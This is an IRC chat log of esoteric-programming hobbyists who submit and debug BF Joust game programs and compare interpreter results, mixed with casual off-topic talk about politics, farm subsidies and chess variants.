20:24:22 <pikhq> _Nineteen Eighty-Four_ has gotten to be an *absurdly* depressing book of late.
20:24:28 <impomatic> FireFly: sorry :-P
20:26:17 <elliott> yay, all i have to do now is to retweak {}
20:26:51 <elliott> (I sane-ised my parser)
20:27:31 <ais523_> impomatic: anything innovative in that?
20:28:36 <impomatic> !bfjoust moonshine http://corewar.co.uk/2.txt
20:29:11 <EgoBot> Score for impomatic_moonshine: 13.4
20:29:22 <elliott> yay, now I handle ()*N efficiently
20:29:23 <elliott> by removing it :)
20:29:45 <elliott> also (comments)*N obviously
20:29:57 <elliott> also, I fully support (comment)*0 as the commenting standard for brainfuck joust
20:30:02 <elliott> and have used it in local work to great effect
20:30:09 <elliott> ais523_: can I get a RINGING endorsement from the LONG-TIME CHAMPION?!
20:30:17 <impomatic> ais523_: not really. I was thinking for the shortest tape the opponent would probably have (>)*9 and miss the cell I'm defending on. So I just tried to handle it differently.
20:30:35 <ais523_> elliott: not without a sample of what I'm supposed to endorse, and not until I have a non-Windows computer to run it on
20:30:48 <ais523_> impomatic: hmm, I've tried to exploit (>)*9-style programs before
20:30:49 <ais523_> it doesn't really work
20:31:10 <elliott> ais523_: you're meant to endorse ()*0 as commenting
20:31:23 <ais523_> oh, yes, good idea
20:31:28 <elliott> ( Go right 8 cells )*0
20:31:30 <elliott> (>)*8
20:31:32 <elliott> YES INDEED
20:31:35 <elliott> IT WILL BE A NEW ERA OF USELESS COMMENTS
20:31:51 <ais523_> also, I'm rarely at the top of the leaderboaard
20:31:54 <ais523_> *leaderboard
20:32:00 <ais523_> mostly, I'm hovering a little below the leaders
20:32:09 <impomatic> !bfjoust moonshine http://corewar.co.uk/2.txt
20:32:11 <ais523_> occasionally I submit a program and it goes straight to the top and surprises everyone, including me
20:32:24 <elliott> ais523_: you do pretty consistently well,t hough
20:32:26 <elliott> *well, though
20:32:37 <elliott> Compare with Gregor, whose programs either suck immensely or shoot straight to the top :P
20:32:41 <ais523_> yep, I like programs that hover around the middle of the leaderboard for ages
20:32:51 <EgoBot> Score for impomatic_moonshine: 16.4
20:34:23 <elliott> Gregor: You there?
20:34:51 <ais523_> hmm, is firefly a Nyarahtotep or however you spell it variant?
20:34:56 <elliott> Narlanrjnrkjentkarentlaerttop
20:35:01 <elliott> my spelling is _creative_
20:37:30 <elliott> ais523_: can you give me two competitors with repeats but no % (and no unbalanced repeats) that are well-matched?
20:37:40 <elliott> trying to "stress-test" here, so i want two good opponents that hopefully draw a lot
20:38:13 <ais523_> do they need to actually draw? or just have a hard time against each other?
20:38:40 <elliott> ais523_: that's fine too
20:38:48 <elliott> also, relatively short would be best
20:38:53 <elliott> because i pass via argv atm :P
20:39:07 <impomatic> ais523_: yes, the only real difference is the second link which tries to handle battles on the shortest tape
20:40:11 <coppro> pikhq: hrm?
20:41:10 -!- ais523_ has changed nick to ais523.
20:41:15 <pikhq> coppro: "Freedom is the freedom to say that 2 plus 2 makes 4. From that all else follows." I'd like that freedom.
20:41:26 <impomatic> !bfjoust half (>(-)*8>(+)*8)*4(>+++++[-]>)*10[-]
20:41:27 <ais523> !bfjoust decoybooster (>)*7(-)*64(<(-)*64<(+)*64)*3(>)*7([(+)*5[-.]]>)*21[-][-.--]
20:41:31 <elliott> the fact that you are talking in this channel means that this is not 1984
20:41:39 <ais523> just noticed that decoybooster doesn't finish off opponents on max-length tapes
20:41:45 <elliott> america may be fucked up, but that's a gross exaggeration.
20:41:49 <coppro> pikhq: oh right, your government is doing stupid shit
20:41:52 <pikhq> elliott: I'm not saying that we are literally in a Nineteen Eighty-Four scenario.
20:42:02 <EgoBot> Score for ais523_decoybooster: 41.2
20:42:02 <EgoBot> Score for impomatic_half: 1.3
20:42:28 <pikhq> elliott: I am saying "Fucking hell, that is getting eerie."
20:43:33 <impomatic> !bfjoust dumb (>(-)*8>(+)*8)*4(>+++++[-])*21
20:44:01 <ais523> elliott: my new decoybooster is pretty closely matched with the "half" that impomatic just posted
20:44:08 <elliott> heh, thanks
20:44:19 <EgoBot> Score for impomatic_dumb: 29.7
20:44:58 <elliott> $ time ./lance '(>(-)*8>(+)*8)*4(>+++++[-]>)*10[-]' '(>)*7(-)*64(<(-)*64<(+)*64)*3(>)*7([(+)*5[-.]]>)*21[-][-.--]'
20:44:58 <elliott> Sieve: <<<<<<<<<<<<<<<<>>>>>
20:44:58 <elliott> Kettle: <<<<<<<<<<<<<<<<>>>>>
20:44:59 <elliott> Left wins (-22)
20:45:00 <elliott> ais523: that correct?
20:45:02 <elliott> took 0.003s :P
20:45:09 <ais523> err, no
20:45:24 <ais523> ais523_decoybooster.bfjoust vs impomatic_half.bfjoust: ><><><><><><><><><>>< ><><><><><><><><><>>< ><><><><><><><><><>>< ><><><><><><><><><>>< impomatic_half.bfjoust wins
20:45:40 <impomatic> Yay! :-)
20:45:41 <elliott> ais523: "joy"
20:45:49 <coppro> ais523: what does that output indicate?
20:45:50 <elliott> ais523: at least i got the winner right.
20:46:01 <ais523> coppro: who wins on each tape length and polarity
20:46:11 <elliott> ais523: also, the order there is ++ polarity, +- polarity for the lines; and the line contents are 10 to 30 tape length
20:46:13 <ais523> those two programs match up the same regardless of polarity, incidentally
20:46:13 <elliott> but eh
20:46:26 <elliott> does Gregor's order the tape lengths logically? :P
20:46:29 <ais523> are "sieve" and "kettle" the names of your two polarities?
20:46:32 <ais523> and yes, it does
20:46:46 <coppro> ah
20:46:59 <elliott> ais523: they've always been the names of the polarities
20:47:01 <elliott> I named them that from the start
20:47:05 <elliott> then Gregor was all like
20:47:08 <elliott> OH I'M TOO COOL TO USE THE NAMES
20:47:12 <elliott> and then everybody forgot them.
20:47:18 <ais523> so why are the polarities named that?
20:47:27 <elliott> no reason at all :)
20:47:41 <ais523> my local egojoust-based testbench calls them standard and switched just so the names will be the same length
20:47:51 <elliott> ugh, another esolangs.org on proggit
20:47:59 <elliott> *esolangs.org link
20:48:07 <elliott> how did I guess! it's to a stupid joke language!
20:48:16 -!- zzo38 has joined.
20:49:04 <elliott> "I like it. There is a serious message behind the madness: a program that has no input or output is a null program.
20:49:04 <elliott> Of course, theoretically speaking there are two types of programs that have no output: eventually terminating ones and infinite loops. I wonder if this language as anything to say about that."
20:49:09 <elliott> I'm on proggit and I'm an intellectual!
20:49:13 <elliott> ok i should stop reading this thread
20:49:18 <ais523> it's not a joke AFAIK; it's a stupid OISC variant much like there are stupid BF variants
20:49:23 <ais523> *AFAICT
20:49:33 <ais523> but I don't consider the endless stream of stupid BF variants jokes
20:49:36 <elliott> ais523: it's clearly a joke language because of the example programs
20:49:41 <elliott> "Solve NP complete problem
20:49:42 <elliott> solves the np complete problem"
20:49:44 <elliott> "become self aware
20:49:45 <elliott> Cause the program to be self aware for a brief period"
20:49:52 <zzo38> Did you know? Abacists deaf dog hijacked luminous parquetry studio, avows ex-yakuza.
20:49:59 <elliott> ...
20:50:03 <ais523> I don't see those programs
20:50:05 <elliott> and zzo38 reaches new heights of coherence
20:50:08 <elliott> ais523: http://esolangs.org/wiki/Compute
20:50:17 <ais523> oh, there are /two/ esolangs links on reddit right now?
20:50:22 <ais523> I was looking at TinCan
20:50:39 <elliott> ah
20:50:42 <elliott> tincan looks stupid
20:50:44 <ais523> http://www.reddit.com/r/programming/comments/fjz71/i_created_my_own_esoteric_programming_language/ is what I thought you were referring to
20:50:49 <ais523> what were you referring to?
20:50:57 <elliott> the Compute link
20:51:02 <elliott> just grep (esolangs.org) on /r/programming
20:51:11 <ais523> ah, http://www.reddit.com/r/programming/comments/fk2kt/powerful_programming_language_only_one_drawback/
20:51:21 <ais523> what's the chance of two esolangs links that close time-wise?
20:51:32 <elliott> ais523: very high
20:51:40 <ais523> really?
20:51:46 <elliott> ais523: stupid thing gets posted on proggit, person sees it, likes stupid thing, looks around for another thing, finds another stupid thing
20:51:50 <zzo38> Finally I managed to make the DVI/GF processing codes in TeXnicard. Now it works.
20:51:52 <elliott> because they like stupid things, thinks it's worthy of posting
20:51:52 <elliott> posts it
20:53:04 <ais523> I was wondering if it was a concerted effort to bring /r/programming slightly more ontopic on average
20:53:09 -!- iamcal has joined.
20:53:27 <elliott> ais523: don't be silly; that belongs in /r/esolangs!
20:53:39 <ais523> hmm, has iamcal been here recently? IIRC, he/she was here ages ago and hadn't been here for ages
20:53:44 <ais523> but I'm not here all the time myself
20:53:50 <elliott> ais523: he
20:53:53 <elliott> it's cal157 or something
20:53:55 <elliott> i forget the name
20:53:58 <elliott> *nickname, rather
20:54:03 <elliott> he never talks when we don't ping him though
20:54:08 <elliott> hmm, that befunge interpreter seems to actually do jitting
20:54:10 <elliott> (on /r/esolangs)
20:54:12 <elliott> (-93)
20:54:41 <iamcal> iamcal == cal153
20:54:46 <ais523> there are only three posts on that reddit altogether
20:54:51 <ais523> iamcal: ah, that would make sense
20:54:51 <elliott> ais523: and one of them is me
20:54:54 <elliott> and contentless
20:54:54 -!- cal153 has quit (Ping timeout: 240 seconds).
20:54:55 <elliott> after creating it :P
20:55:20 <elliott> ais523: heh, it still links to ESO in the sidebar
20:55:33 -!- ais523 has changed nick to ais523_.
20:55:38 <elliott> ...
20:55:39 <ais523_> I should go back to my correct nick
20:55:45 <elliott> try ais523__
20:55:47 <elliott> :P
20:55:50 <ais523_> no
20:56:26 <zzo38> I invented a chess variant that the king is invisible. Did you invent any chess variant, too?
20:56:40 <ais523_> zzo38: do you know of Kriegspiel?
20:56:46 <ais523_> I didn't invent it, but it's along similar lines
20:56:48 <ais523_> and a really fun game
20:57:55 <elliott> ais523_: I wonder why on earth those programs have that wrong behaviour :(
20:58:09 <zzo38> ais523: Yes I do know of Kriegspiel chess.
20:58:16 <ais523_> elliott: I HAVE INSUFFICIENT INFORMATION TO HELP YOU
20:58:26 <elliott> ais523_: you wrote one of them!
20:58:33 <elliott> ais523_: how can it not be your fault?
20:58:35 <ais523_> the programs work fine, it's lance that's broken
20:58:42 <elliott> ...what slander
20:59:07 <ais523_> technically speaking, it can't possibly be slander, this is a logged channel
20:59:16 <ais523_> thus it would automatically be libel rather than slander, were it illegal which it isn't
20:59:21 <zzo38> I also know of some other chess variants with incomplete information.
20:59:33 <elliott> 0[{0}
20:59:34 <elliott> 0-{0}
20:59:34 <elliott> 0]{0}
20:59:34 <elliott> 0-{0}
20:59:34 <elliott> 0]{0}
20:59:35 <elliott> 0-{0}
20:59:36 <elliott> 0]{0}
20:59:38 <elliott> 0-{0}
20:59:40 <elliott> well [-]s trace is correct
20:59:44 <Sgeo> I lie about elliott.
20:59:50 <elliott> wut
20:59:54 <Sgeo> In such a way as to harm his reputation.
21:00:41 <ais523_> also, gah
21:01:00 <ais523_> "while (1) sleep(UINT_MAX);" in a students' code
21:01:01 <elliott> Sgeo: how :D
21:01:08 <ais523_> and the worst part is, it isn't an infinite loop
21:01:22 <ais523_> I thought only INTERCAL was that spaghetti
21:01:23 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
21:01:27 <elliott> ais523_: hmm, what's wrong with that? I can't actually tell
21:01:31 <elliott> apart from sleep() failing
21:01:40 <elliott> well, being caused to exit early
21:01:43 <ais523_> it hides the logic
21:01:54 <ais523_> the whole of the rest of the program is in an interrupt handler
21:01:56 <elliott> ais523_: oh, in the middle of a student's code
21:02:01 <ais523_> including the exit
21:02:01 <elliott> err, and?
21:02:03 <elliott> ah
21:02:09 <elliott> is that avoidable?
21:02:10 <ais523_> and how would anyone be expected to look there?
21:02:28 <ais523_> typically it'd be while (volatile_sig_atomic_t_typed_flag) sleep(1) or whatever
21:02:39 <ais523_> then it's clearer what's happening
21:03:02 <fizzie> Hmm; I (for benchmarking) downloaded a copy of the hill, and ran "report egojoust tmp hill/*"; the resulting breakdown.txt contains 35 lines of "Right warrior failed to parse, left warrior wins!" and only 1046 valid reports, but the 35 bad lines don't correspond to a single program always, since all 47 unique names occur in the list of matches.
21:03:30 <ais523_> fizzie: there's some program that fails to parse only against certain opponents on certain tape lengths
21:03:35 <ais523_> which is a pain to track down
21:03:39 <Sgeo> "and so this week the first 20 minutes of each album are commercial free. "
21:04:09 <ais523_> Sgeo: I hope that's on a radio/radio-alike, rather than on a CD or download
21:04:16 <zzo38> One other incomplete information chess variant is Intrigue chess, which is as follows: Each player writes the name of any square on a paper, in secret, and then marks one of the pawns on the bottom in secret. If you capture the opponent's pawn, look to see if it marked.
21:04:19 <Sgeo> ais523_, Magnatune
21:04:34 <elliott> <ais523_> fizzie: there's some program that fails to parse only against certain opponents on certain tape lengths
21:04:37 <elliott> ais523_: you see *lance*...
21:04:44 <zzo38> If it is marked, look at the secret paper and put the king on that square. If anything else is already there, whatever is already there is removed from the board.
21:04:48 <Sgeo> http://blogs.magnatune.com/buckman/2011/02/short-adverts.html
21:04:58 <Sgeo> "So... this means less interruptions that ever before... for the first 20 minutes of each album. And then ads (every 30 secs) come in after the commercial-free 20 minutes"
21:05:07 <Sgeo> Ads every 30 sec? o.O
21:05:12 <elliott> Every 30 seconds? Hahahaha
21:05:13 <ais523_> during a piece of music?
21:05:28 <ais523_> that's... what?
21:05:31 <elliott> quick, someone remix the adverts into a track punctuated with silence every 30 seconds
21:05:36 <elliott> done so that it seems like the adverts are part of the track
21:05:49 <elliott> ais523_: obviously it's their way of moving to a pay-only model without actually saying "NO MORE FREE MUSIC FOR YOU"
21:06:52 <Sgeo> I think I accidentally clicked on a Braid soundtrack song
21:06:53 <Sgeo> Awesome
21:07:16 <Sgeo> No ads yet hmm
21:10:27 <Sgeo> I can't test the ad thing if it's not song but actually having to listen for 20 min
21:10:31 <elliott> $ time ./lance '[>[-]+]' '(-)*126(-+)*9999999999'
21:10:31 <elliott> Sieve: <><<><<><<><<><<><<><
21:10:31 <elliott> Kettle: >>>>>>>>>>>>>>>>>>>>>
21:10:35 <elliott> hmm... is that right? I think so
21:10:48 <elliott> Sgeo: You can't listen to something for 20 minutes?
21:11:43 <ais523_> elliott: it agrees with egojsout
21:12:04 <elliott> oh, right, i can just compare with egojstoustout
21:12:08 <elliott> !bfjoust
21:12:08 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
21:12:20 <ais523_> http://codu.org/eso/bfjoust/egojsout/egojsout.html
21:12:47 <elliott> aha
21:12:47 <elliott> (>[-])*30
21:12:49 <elliott> vs
21:12:50 <elliott> (-)*126(-+)*9999999999
21:12:51 <elliott> *vs.
21:12:56 <elliott> egojsout says it's > for all on sieve
21:12:58 <elliott> and < for all on kettle
21:13:01 <elliott> but my program DISAGREES
21:13:20 <Gregor> The "js" in "egojsout" is pronounced like some abominable amalgam of 'j' and 's' that nobody who isn't from China or the Czech Republic could even hope to pronounce.
21:13:26 <Sgeo> Sieve? Kettle?
21:13:39 <ais523_> Sgeo: apparently they're the names for the polarities
21:14:07 <Sgeo> Which is which?
21:14:16 <ais523_> sieve is unreversed, IIRC
21:14:17 <elliott> Gregor: perhaps like egoshout, but with the sh being more... abrasive
21:14:21 <elliott> sieve is normal, kettle is +-
21:14:42 <Gregor> elliott: Something like that, but you could never hope to pronounce it.
21:14:44 <Sgeo> How does polarity end up making any difference?
21:14:57 <elliott> because otherwise you can submit a program and swap + and -
21:15:00 <elliott> and it often does better
21:15:02 <elliott> which is just stupid
21:15:14 <Sgeo> Why would it do better?
21:16:00 <Gregor> Sgeo: Consider (-)*127 vs (>)*9(>[-])*21
21:16:27 <elliott> what Gregor said
21:16:47 <Gregor> elliott: In any disagreement between lance and egojsout, egojsout is right X-P
21:17:58 <Sgeo> So each program in a battle might have a different polarity?
21:18:16 <Sgeo> Instead of both having the same polairty, as I thought before?
21:18:36 <ais523_> elliott: those two programs where there's a disagreement, if there's a tape length dependency in lance, then lance is doing it wrong
21:18:45 <elliott> ais523_: indeed
21:18:48 <elliott> Sgeo: both programs having + and both programs having - is trivially equivalent
21:19:00 <elliott> even i can get that, and ais523_ has made a hobby of yelling SYMMETRY at me when i ask questions
21:19:11 <ais523_> sufficiently trivially equivalent that elliott tried to convince me it wasn't for five minutes
21:19:21 <Sgeo> elliott, that's why I didn't see how polarity made a difference
21:19:22 <elliott> ais523_: no
21:19:24 <elliott> that was +- and -+
21:19:30 <elliott> ++ and -- are trivially equivalent even to an ape
21:19:32 <ais523_> elliott: reverse one of the programs
21:19:33 <ais523_> now it's ++ and --
21:19:43 <Sgeo> Oh, that's what you mean by +-\
21:19:45 <elliott> ais523_: hey, that requires like a millisecond of thought
21:19:53 <elliott> realising ++ = -- doesn't
21:20:01 <elliott> Sgeo: + means + and - do the normal thing
21:20:04 <elliott> - means they're reversed
21:20:09 <elliott> basically the notation says what + does
21:20:12 <elliott> so +-, left program has normal
21:20:16 <elliott> right program has + and - swapped
21:20:22 <Sgeo> Ok, it's just that I thought that Sieve was ++ and Kettle was --, which made no sense
21:20:59 <elliott> Gregor: PLZ2BE s/, polarity inverted/, kettle/ in egojsout :P
21:21:28 <ais523_> elliott: you do realise that your polarity names make no sense, right?
21:21:29 <Gregor> Nevar
21:21:43 <elliott> ais523_: do names usually make sense?
21:21:56 <ais523_> well, sometimes
21:21:59 <elliott> ais523_: at least mine are memorable
21:22:02 <ais523_> and they're better when they do
21:22:08 <elliott> no they're not
21:22:11 <ais523_> it's hard to remember which is which for yours
21:22:14 <Sgeo> Source and Antisource
21:22:18 <elliott> also, + is dink and - is donk
21:22:33 <elliott> I invented this terminology days before egojoust even started being implemented, so no arguments :P
21:22:44 <Sgeo> Since in ++, the source programs are used as is, and in +-, one is inverted
21:22:49 <Gregor> elliott: *egojsout, right?
21:22:54 <elliott> No.
21:22:58 <Gregor> Wow :P
21:23:26 <elliott> Gregor: I started implementing lance a few days before egojoust came about, and about a day after we fleshed out the polarity system and I gave them the names.
21:24:05 <Sgeo> Where do the names come from?
21:24:14 <Sgeo> At least my names make sense, if they're a bit uncreative
21:24:43 <elliott> I made them up.
21:24:50 <elliott> And you're gonna learn to like them.
21:29:47 <elliott> ais523_: is Agora as dead as it looks? I haven't checked it in ages
21:30:03 <ais523_> quite a few major people ragequit for various reasons recently
21:30:04 <fizzie> Gregor: What do the first and the last numbers in the egojsout trace mean?
21:30:05 <ais523_> including me
21:30:11 <elliott> fizzie: death counter
21:30:17 <ais523_> and so it's sulking in comparison
21:31:11 <fizzie> elliott: What is a death counter? I mean, can you die more than once within one particular match?
21:31:32 <elliott> fizzie: When your flag goes to 0, it becomes 1.
21:31:35 <elliott> When the death count becomes 2, you die.
21:31:40 <elliott> When you go off the edge, your death count becomes 2.
21:32:06 <fizzie> Ohhhh, two consecutive cycles.
21:32:09 <fizzie> I didn't even know that.
21:32:17 <elliott> durpfizzie
21:32:19 <fizzie> I certainly shouldn't be implementing this stuff.
21:32:47 <fizzie> Well, it's so confusing with all this "original version" "ais523 revised version" "egojoust version" wikipage nonsense.
21:33:47 <ais523_> they don't really deserve separate pages
21:33:58 <ais523_> and they are different versions, so...
21:34:17 <fizzie> I don't seem to be any good at mental patch(1)ing.
21:35:48 -!- Mannerisky has joined.
21:39:22 <Gregor> There, I changed the numbers to have UNICODE FLAGS
21:39:29 <Gregor> YAY UNICODE
21:39:47 <elliott> Gregor: wat
21:39:50 <elliott> !bfjoust
21:39:51 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
21:40:12 <elliott> Gregor: make it go white when you lose :D
21:40:18 <Gregor> elliott: It does 8-D
21:40:38 <elliott> Gregor: :D
21:40:53 <elliott> Gregor: but it goes white when you lose due to going off the tape too
21:40:55 <elliott> that's not ok!
21:41:04 <elliott> well ok maybe it is
21:41:21 <Gregor> I'm waiting to have a more concrete idea of what the correct response to the infamous suicide-zero-flag-tie is.
21:41:28 <Gregor> Since I'll need to change something for that.
21:42:23 <elliott> Gregor: That's a tie.
21:42:30 <elliott> Both of you lost, at the same time.
21:42:37 <elliott> Neither program lost or won more than the other.
21:42:43 <elliott> It's a tie in the purest sense of the word, and lance has done that from the start.
21:42:45 <Gregor> That's my thoughts too, but the "spec" doesn't make it very clear.
21:43:00 <elliott> We hardly have any kind of spec :P
21:43:08 <elliott> Gregor: Also, < draws with itself.
21:43:15 <ais523_> [-] obviously ties with [-]
21:43:15 <elliott> Again, tie, for exactly the same reason.
21:43:27 <ais523_> or did you mean something else?
21:43:32 <elliott> nope, he meant that
21:46:08 <Vorpal> elliott, big news. See other channel.
21:46:48 <elliott> oh dear, Vorpal's pregnant again
21:47:39 <Gregor> Bleh, Unicode skull and crossbones is two small :(
21:48:37 * pikhq grins
21:49:04 <pikhq> So, Monty Python put a gigantic bunch of Flying Circus videos on Youtube for free. (I think it's nearly every sketch by now?)
21:49:13 <pikhq> This has apparently lead to a 23,000% increase in DVD sales for them.
21:49:31 <elliott> Gregor: *too
21:50:01 <Gregor> elliott: ... /me sobs
21:50:20 <pikhq> Argh, no, nowhere near every sketch.
21:50:34 <pikhq> Just quite a few of the more popular ones.
21:51:13 <coppro> so you mean free stuff lets you sell stuff?
21:51:14 <coppro> NO WAI
21:51:39 <Gregor> Maybe I'll just use UNICODE WHITE FROWNING FACE
21:51:43 <pikhq> coppro: I know, it's kinda obvious that letting people get an idea what your stuff is like gets people to want it.
21:52:54 <coppro> pikhq: not to *AA
21:53:41 <elliott> Gregor: Racist.
21:54:35 <pikhq> coppro: Well, no, they seem to think that the more they charge the more money they get.
22:00:54 <pikhq> o.O
22:01:12 -!- Leonidas has quit (Quit: An ideal world is left as an exercise to the reader).
22:01:16 <pikhq> In Canada, there is a legal tender million dollar coin.
22:01:37 <ais523_> all "legal tender" means is that you can use it to settle a debt
22:01:48 <pikhq> ais523_: I'm well aware.
22:01:55 <pikhq> Though, as the coin is made of gold, it is actually worth significantly more than $1 million.
22:02:22 <pikhq> (it is 100 kg)
22:02:53 <Ilari> Hmm... Last ~30 years, energy americans obtained from food has been going up. Also, obsesity epidemic. But is the enegy increase cause or effect?
22:02:57 <pikhq> The coin in question is in the Royal Canadian Mint, and for obvious reasons will likely never circulate as such.
22:03:16 <elliott> Two correlated factors! Clearly there must be causality!
22:03:39 <ais523_> piracy (the old-fashioned kind with ships) prevents global warming!
22:03:44 <pikhq> ais523_: :)
22:03:52 <Gregor> Maybe I should use PEACE SYMBOL :P
22:03:56 <elliott> ais523_: Hey, REAL piracy prevents global warming too!
22:04:06 <elliott> ais523_: If you don't think that's the case, that's just because there's not enough piracy yet.
22:04:12 <elliott> Only you can save Earth!!!
22:04:17 <elliott> Infringe copyright today!
22:04:20 <pikhq> elliott: Well, it actually seems reasonable that there is a causal link between higher food energy consumption and obesity.
22:04:26 <ais523_> you can actually make a plausible case for that
22:04:39 <elliott> ais523_: not _really_ :P
22:04:43 <ais523_> if you download something rather than buying it in a shop, it saves on transport and packaging, both of which release carbon
22:04:54 <ais523_> that applies equally well to legal and illegal downloads, ofc
22:05:07 <ais523_> but most things don't have legal downloads (although most of the things that actually matter do)
22:05:37 <pikhq> Legitimate purchase of copyrighted works does, indeed, usually involve shipping and packaging. Downloading uses electricity, most of which would be in use anyways.
22:05:37 <Gregor>
22:05:46 <Ilari> Or is there third factor that causes both at the same time?
22:06:04 <elliott> Gregor: ugh, stop being elliottcable
22:06:22 <ais523_> Ilari: rise of convenience foods, maybe
22:07:15 <ais523_> !bfjoust attack1 [>[-]-]
22:07:19 <pikhq> Sheer expense of more healthy goods.
22:07:28 <Ilari> Actually, the real question is: What bypasses / breaks down normal metabolic control systems?
22:08:37 <pikhq> I'd be tempted to say "corn syrup", but that probably isn't the whole problem. What with an obesity epidemic developing in other countries, where corn syrup is actually more expensive than sugar.
22:09:04 <ais523_> it's not as bad in most countries as it is in the US
22:09:16 <ais523_> I've seen a theory that obesity is actually caused by a virus, although that seems vaguely implausible
22:09:23 <elliott> hmm, maybe my timing is messed up here
22:09:26 <elliott> ais523_: you know those two programs you gave me?
22:09:38 <elliott> ais523_: do they ever run off the tape? ever?
22:09:40 <pikhq> (well, *technically* corn syrup already has a higher cost than sugar in the US, but most of that cost is in taxes, and would be paid *anyways*...)
22:09:47 <elliott> (>)*9 counts as running of the tape ofc
22:09:49 <elliott> *off
22:09:53 <pikhq> (fuck corn subsidies SO MUCH)
22:10:00 <ais523_> which two were they? fool and decoybooster?
22:10:06 <ais523_> *half and decoybooster
22:10:07 <ais523_> I think they do
22:10:08 <Ilari> Oh, there are also subsides for soy and wheat.
22:10:17 <pikhq> Ilari: The corn subsidies are much worse.
22:10:20 <elliott> ais523_: then quite possibly it's because i handle running off the tape between turns
22:10:35 <ais523_> no, it's not a minor timing difference like that
22:10:35 <pikhq> Though, really, all the subsidies on grains really distort the market a lot.
22:10:45 <ais523_> if one program runs off, the other one is nowhere near winning or losing
22:11:04 <elliott> ais523_: well, yeah...
22:11:06 <Gregor> pikhq: HEY, high_fructose_corn_philip resents that.
22:11:09 <elliott> but that's the only thing that's wrong :D
22:11:14 <pikhq> The various grain subsidies are a major, major part of why modern factory farming works at all.
22:11:18 <elliott> well
22:11:20 <elliott> wrong = differnet
22:11:22 <elliott> *different
22:11:22 <elliott> :/
22:11:46 <Ilari> And are the primary reason why food production is so unsustainable right now.
22:11:51 <pikhq> Quite true.
22:12:40 <Ilari> What was the calories in / calories out ratio of food production (ignoring solar input) right now? I have heard of figures like 10.
22:12:43 <pikhq> Corn subsidies are the worst, because they (IIRC) make producing corn profitable *before any sales occur*...
22:13:03 <ais523_> Europe subsidises farmers to keep on farming
22:13:08 <EgoBot> Score for ais523__attack1: 3.2
22:13:15 <ais523_> although I'm not sure if it subsidises particular sorts of farming more than others
22:13:49 <pikhq> ais523_: The US has megacorps doing most all the farming.
22:14:08 <ais523_> yep, in which case subsidy doesn't make a lot of sense
22:14:18 <ais523_> I think the EU subsidies are because they like the idea of farmland being tended by farmers
22:14:29 <pikhq> If it were just subsidising farmers *in the general case*, it'd be much less objectionable.
22:14:35 <ais523_> if they actually produce food, it's just a bonus
22:14:48 <ais523_> many people dislike the EU subsidies anyway, though, because they seem a little pointless
22:14:59 <pikhq> "We're going to make it easier for you to make a living producing food" is, at least, not something that horribly screws up the entire agricultural market.
22:15:10 <pikhq> It may not be that great an idea anyways, but... Yeah.
22:15:32 <Ilari> Oh, and US subsidies not only screw up US market. US exports lot of grains, screwing food production in lots of places.
22:15:39 <pikhq> Quite true.
22:16:12 <ais523_> how is it, that everything insane about the UK/Europe, seems to exist in a substantially more insane form in the US?
22:16:20 <pikhq> ais523_: We export insanity.
22:16:24 <ais523_> (except possibly for CCTV and similar government surveillance)
22:16:27 <pikhq> It is our major export.
22:16:42 <ais523_> clearly, we need to put large import duty on it
22:16:43 <ais523_> we'd make a fortune
22:16:59 <elliott> ugh, CCTV
22:17:03 <elliott> I wonder why it's such a uniquely British problem
22:17:09 <elliott> even Americans think it's insane
22:17:09 <pikhq> ais523_: You do realise that the CIA has installed logging devices all over the US's network infrastructure, right?
22:17:21 <Ilari> And farming of grains is extremely enviromentally destructive anyway.
22:17:29 <elliott> I guess because US crazies are insanely pro-personal-liberties
22:17:36 <ais523_> pikhq: yep, the US is worse wrt technological solutions to that sort of thing
22:17:47 <ais523_> the UK is more into tracking the movement of individual people
22:17:58 <ais523_> so it's a different kind of insanity
22:18:20 <pikhq> Ilari: It'd probably be much less so if there were less of an incentive to do it.
22:19:01 <Ilari> And grains also appear to be quite destructive to health (at least without proper processing, which just isn't done nowadays).
22:19:13 <ais523_> at least the CCTV has vague advantages as well as the disadvantages; it's reasonably good at stopping certain sorts of burglary, for instance
22:19:24 <elliott> ais523_: I don't care about CCTV in stores
22:19:33 <pikhq> I'd imagine that the amount of grain that's actually used in a "normal" way to get food is a very small percentage of what's produced.
22:19:40 <elliott> ais523_: but in public, it's unacceptable
22:19:49 <ais523_> the CCTV aimed at roads only happens in city centres, as far as I know
22:19:58 <ais523_> CCTV still requires warning signs wherever it's used
22:20:07 <pikhq> With most of it being used in various industrial processing methods simply because it's so fucking cheap.
22:20:09 <ais523_> and the nearest area like that is miles from my house, for instance
22:20:27 <elliott> ais523_: yep, but it could easily get more insidious quickly
22:20:54 <pikhq> Oh, and of course for feeding pretty much all livestock.
22:21:21 <pikhq> In a manner that is itself absurdly damaging to the environment.
22:21:40 <Ilari> That "ignore solar radiation in energy inputs" should be quite realistic approximation, since solar radiation is essentially free energy, but other forms of energy that are used on it aren't.
22:22:00 <quintopia> !bfjoust poke http://sprunge.us/IcjB
22:22:55 <pikhq> And it *all* depends so fucking heavily on petrochemicals that peak oil will probably break agriculture.
22:23:08 <elliott> ais523_: have you got any simple warriors that use ()*? it's hard to debug with the complex ones
22:23:25 <Ilari> Oh, and then there's corn ethanol. Using the highest EROEI figures I have heard, it is still insane.
22:23:37 <quintopia> elliott: did you try shudder? :P
22:23:39 <ais523_> !bfjoust simpleskip (>)*8(+>+++++[-])*21
22:23:41 <pikhq> *shudder*
22:23:43 <elliott> quintopia: against what?
22:23:49 <elliott> <quintopia> elliott: did you try shudder? :P
22:23:49 <elliott> <pikhq> *shudder*
22:23:56 <elliott> ais523_: ah, against what?
22:23:57 <pikhq> Corn ethanol.
22:24:06 <ais523_> elliott: oh, I just came up with that off the top of my head
22:24:14 <ais523_> it's not really meant to beat or tie with anything
22:24:23 <pikhq> AKA "burning money".
22:24:46 <elliott> $ time ./lance '(>)*8(+>+++++[-])*21' '(>)*8(+>+++++[-])*21'
22:24:47 <elliott> Sieve: >>>>>>>>>>>>>>>><<<<<
22:24:47 <elliott> Kettle: >>>>>>>>>>>>>>>><<<<<
22:24:47 <elliott> Right wins (22)
22:24:51 <elliott> HMM
22:25:04 <ais523_> are those two programs not identical?
22:25:09 <elliott> yes, yes they are
22:25:18 <ais523_> something's pretty wrong, then
22:25:25 <ais523_> the tape-length dependence is particularly hilarious
